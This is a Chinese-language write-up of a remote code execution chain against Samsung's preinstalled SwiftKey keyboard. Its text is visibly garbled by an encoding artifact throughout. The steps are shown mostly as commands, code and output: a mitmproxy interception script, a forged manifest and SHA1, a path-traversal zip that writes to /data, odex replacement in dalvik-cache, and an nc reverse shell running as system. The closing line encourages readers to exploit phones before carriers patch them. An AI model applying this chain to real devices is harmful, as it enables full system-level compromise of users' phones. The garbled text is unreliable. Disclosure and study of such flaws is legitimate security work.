三星手機(jī)遠(yuǎn)程代碼執(zhí)行漏洞分析
摘要
遠(yuǎn)程攻擊者完全有能力控制用戶網(wǎng)絡(luò)流量,操縱三星手機(jī)的鍵盤更新機(jī)制,并且在目標(biāo)手機(jī)上使用系統(tǒng)用戶權(quán)限執(zhí)行代碼。
在三星設(shè)備中預(yù)裝的快速鍵盤,無法禁用也無法卸載。即使這個(gè)快速鍵盤并非用戶默認(rèn)使用,攻擊者也能夠利用!
概念驗(yàn)證:https://github.com/nowsecure/samsung-ime-rce-poc/
工作原理
不幸的是,OEM以及運(yùn)營(yíng)商經(jīng)常會(huì)在設(shè)備中預(yù)裝一些第三方軟件,許多情況下這些軟件所擁有的權(quán)限特別高。這次的主角是三星的Swift keyboard(快速鍵盤)
➜ /tmp aapt d badging SamsungIME.apk | head -3
package: name='com.sec.android.inputmethod' versionCode='4' versionName='4.0'
sdkVersion:'18'
targetSdkVersion:'19'
➜ /tmp shasum SamsungIME.apk
72f05eff8aecb62eee0ec17aa4433b3829fd8d22 SamsungIME.apk
➜ /tmp aapt d xmltree SamsungIME.apk AndroidManifest.xml | grep shared
A: android:sharedUserId(0x0101000b)="android.uid.system" (Raw: "android.uid.system")
從中我們可以看出這個(gè)鍵盤輸入軟件使用三星的私有簽名,并且在設(shè)備中擁有特殊權(quán)限。system權(quán)限啊,這尼瑪!
準(zhǔn)備工作
針對(duì)此漏洞的攻擊媒介需要攻擊者能夠修改上行流量,該漏洞在重啟后可自動(dòng)觸發(fā)。
測(cè)試機(jī)器為一臺(tái)帶USB Wi-Fi工具的Linux VM,所有的http流量都重定向到https://mitmproxy.org/
漏洞的發(fā)現(xiàn)
Swift有一個(gè)更新機(jī)制,運(yùn)行添加新語言或者升級(jí)現(xiàn)有語言。當(dāng)用戶下載一個(gè)附加語言包,我們看到網(wǎng)絡(luò)請(qǐng)求:
GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/az_AZ.zip
← 200 application/zip 995.63kB 601ms
當(dāng)Zip文件下載完成,就進(jìn)行提取了:
/data/data/com.sec.android.inputmethod/app_SwiftKey//.
root@kltevzw:/data/data/com.sec.android.inputmethod/app_SwiftKey/az_AZ # ls -l
-rw------- system system 606366 2015-06-11 15:16 az_AZ_bg_c.lm1
-rw------- system system 1524814 2015-06-11 15:16 az_AZ_bg_c.lm3
-rw------- system system 413 2015-06-11 15:16 charactermap.json
-rw------- system system 36 2015-06-11 15:16 extraData.json
-rw------- system system 55 2015-06-11 15:16 punctuation.json
可以看到.zip文件被寫入system權(quán)限,這個(gè)權(quán)限能操作系統(tǒng)文件了。由于應(yīng)用程序通過明文方式發(fā)送zip文件,我們嘗試進(jìn)行一些修改。
我們可以通過設(shè)置一個(gè)全局Wi-Fi代理并且在計(jì)算機(jī)上將設(shè)備指向mitmproxy。接著編寫一個(gè)快速腳本:
def request(context, flow):
if not flow.request.host == "kslm.swiftkey.net" or not flow.request.endswith(".zip"):
return
resp = HTTPResponse(
[1, 1], 200, "OK",
ODictCaseless([["Content-Type", "application/zip"]]),
"helloworld")
with open('test_language.zip', 'r') as f:
payload = f.read()
resp.content = payload
resp.headers["Content-Length"] = [len(payload)]
flow.reply(resp)
payload十分簡(jiǎn)單,就包含一個(gè)文件
➜ /tmp unzip -l test_keyboard.zip
Archive: test_keyboard.zip
Length Date Time Name
-------- ---- ---- ----
6 06-11-15 15:33 test
-------- -------
6 1 file
檢測(cè)/data/data/com.sec.android.inputmethod/app_SwiftKey/ 之后,我們注意到不論是我們的語言包還是測(cè)試文件都不存在了。應(yīng)用程序驗(yàn)證了zip文件,經(jīng)過后面的探尋,在之前下載的zip文件中發(fā)現(xiàn)一個(gè)manifest,這個(gè)manifest包括了所有語言包,語言包的url,及zip包的SHA1 hash。
在mitmproxy中的請(qǐng)求:
>> GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json
← 200 application/json 15.38kB 310ms
通過jq我們仔細(xì)觀察這個(gè)manifest文件:
➜ curl -s 'http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json' | jq '.[] | select(.name == "English (US)")'
服務(wù)器返回一個(gè)語言表,語言表的URL,以及他們的SHA1 hash。服務(wù)器響應(yīng)示例(僅選擇English payload):
{
"name": "English (US)",
"language": "en",
"country": "US",
"sha1": "3b98ee695b3482bd8128e3bc505b427155aba032",
"version": 13,
"archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/en_US.zip",
"live": {
"sha1": "b846a2433cf5fbfb4f6f9ba6c27b6462bb1a923c",
"version": 1181,
"archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/ll_en_US.zip"
}
}
我們正在下載的語言升級(jí)包SHA1經(jīng)過manifest中的信息驗(yàn)證,如果我們預(yù)先計(jì)算出payload的SHA1并創(chuàng)建我們自己的manifest文件,我們就可以隨意的改變這些zip文件了。此外,對(duì)于我們的payload,給先添加一個(gè)路徑遍歷,并試圖將文件寫入/data/.
➜ samsung_keyboard_hax unzip -l evil.zip
Archive: evil.zip
Length Date Time Name
--------- ---------- ----- ----
5 2014-08-22 18:52 ../../../../../../../../data/payload
--------- -------
5 1 file
適當(dāng)?shù)男薷?manifest文件之后,我們檢查我們payload文件,謝天謝地還在。
➜ samsung_keyboard_hax adbx shell su -c "ls -l /data/payload"
-rw------- system system 5 2014-08-22 16:07 payload
文件寫入可執(zhí)行代碼
現(xiàn)在,我們可以將任意文件賦予system權(quán)限了,我們的目標(biāo)是就是將他粗暴的寫入代碼執(zhí)行。Swift keyboard 自身在其目錄并沒有可執(zhí)行代碼可供我們覆蓋。別吵,我們?nèi)e處看看。
對(duì)文件進(jìn)行dex優(yōu)化之后,會(huì)緩存在/data/dalvik-cache/。我們現(xiàn)在需要尋找system組的文件,這樣就可以通過system user權(quán)限執(zhí)行。
root@kltevzw:/data/dalvik-cache # /data/local/tmp/busybox find . -type f -group 1000
./system@framework@colorextractionlib.jar@classes.dex
./system@framework@com.google.android.media.effects.jar@classes.dex
./system@framework@com.google.android.maps.jar@classes.dex
./system@framework@VZWAPNLib.apk@classes.dex
./system@framework@cneapiclient.jar@classes.dex
./system@framework@com.samsung.device.jar@classes.dex
./system@framework@com.quicinc.cne.jar@classes.dex
./system@framework@qmapbridge.jar@classes.dex
./system@framework@rcsimssettings.jar@classes.dex
./system@framework@rcsservice.jar@classes.dex
./system@priv-app@DeviceTest.apk@classes.dex
在列表中,我們要選擇一個(gè)目標(biāo)組件自動(dòng)調(diào)用。理想情況下,對(duì)于整個(gè)odex文件僅替換我們感興趣的目標(biāo)。最好選擇DeviceTest (/data/dalvik-cache/system@priv-app@DeviceTest.apk@classes.dex) 作為目標(biāo)。
反編譯之后查看manifest文件,我們看到應(yīng)用確實(shí)有sharedUserId=”android.id.system”,并且看到BroadcastReceiver定義,啟動(dòng)它可以自動(dòng)進(jìn)行重啟設(shè)備。
<manifest android:sharedUserId="android.uid.system" android:versionCode="1" android:versionName="1.0" package="com.sec.factory" xmlns:android="http://schemas.android.com/apk/res/android"> ... <receiver android:name="com.sec.factory.entry.FactoryTestBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" /> <data android:scheme="file" /> </intent-filter> <intent-filter> <action android:name="android.intent.action.PACKAGE_CHANGED" /> <data android:scheme="package" /> </intent-filter> <intent-filter> <action android:name="android.intent.action.PRE_BOOT_COMPLETED" /> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> <intent-filter> <action android:name="com.sec.atd.request_reconnect" /> <action android:name="android.intent.action.CSC_MODEM_SETTING" /> </intent-filter> </receiver>
我們需要為com.sec.factory.entry.FactoryTestBroadcastReceiver生成一個(gè)odex文件:
➜cat FactoryTestBroadcastReceiver.java | head
package com.sec.factory.entry;
import java.lang.Class;
import java.io.File;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
public class FactoryTestBroadcastReceiver extends BroadcastReceiver {
//Exploit code here
}
創(chuàng)建完payload之后,我們可以通過DalvikExchange (dx)工具編譯并運(yùn)行它用來獲取一個(gè)包含dalvik 字節(jié)代碼的.jar文件?,F(xiàn)在進(jìn)行一些優(yōu)化,將jar推送到設(shè)備生成odex
ANDROID_DATA=/data/local/tmp dalvikvm -cp /data/local/tmp/<payload.jar> com.sec.factory.entry.FactoryTestBroadcastReceiver
緩存文件所在目錄,shell用戶可讀
shell@kltevzw:/data/local/tmp/dalvik-cache $ ls -l
-rw-r--r-- shell shell 3024 2014-07-18 14:09
data@local@tmp@payload.jar@classes.dex
將payload注入到我們語言包之后,觸發(fā)下載并重啟。
D/dalvikvm( 6276): DexOpt: --- BEGIN 'payload.jar' (bootstrap=0) ---
D/dalvikvm( 6277): DexOpt: load 10ms, verify+opt 6ms, 112652 bytes
D/dalvikvm( 6276): DexOpt: --- END 'payload.jar' (success) ---
I/dalvikvm( 6366): DexOpt: source file mod time mismatch (3edeaec0 vs 3ed6b326)
作為 .ODEX 頭的一部分,其存儲(chǔ)CRC32以及classes.dex的修改時(shí)間,它根據(jù)原始APK的zip文件結(jié)構(gòu)表:
unzip -vl SM-G900V_KOT49H_DeviceTest.apk classes.dex
Archive: SM-G900V_KOT49H_DeviceTest.apk
Length Method Size Ratio Date Time CRC-32 Name
-------- ------ ------- ----- ---- ---- ------ ----
643852 Defl:N 248479 61% 06-22-11 22:25 f56f855f classes.dex
-------- ------- --- -------
643852 248479 61% 1 file
我們需要從zip文件中拉取這兩點(diǎn)信息,以及修補(bǔ)我們經(jīng)過odex的payload,讓其看上去像是從原始DeviceTest.apk生成的。請(qǐng)注意,CRC32以及文件修改時(shí)間并不能作為一種安全機(jī)制。我們需要明白,當(dāng)緩存需要更新是因?yàn)閼?yīng)用程序需要更新。
修補(bǔ)我們的 .ODEX文件并觸發(fā)漏洞,將會(huì)執(zhí)行我們的payload。出于測(cè)試目的,這里僅僅是一個(gè)反向殼
nc 192.168.181.96 8889
id
uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1007(log),1010(wifi),1015(sdcard_rw),1021(gps),1023(media_rw),1024(mtp),1028(sdcard_r),2001(cache),3001(net_bt_admin),3002(net_bt),3003(inet),3004(net_raw),3005(net_admin),3009(qcom_diag),41000(u0_a31000) context=u:r:system_app:s0
視頻
小水管啦,上傳又失敗啦……retrying
【https://www.youtube.com/watch?v=uvvejToiWrY】
結(jié)語
不幸的是,這款鍵盤輸入軟件即使禁用了也能被利用。在運(yùn)營(yíng)商修補(bǔ)該漏洞之前盡情的玩耍吧。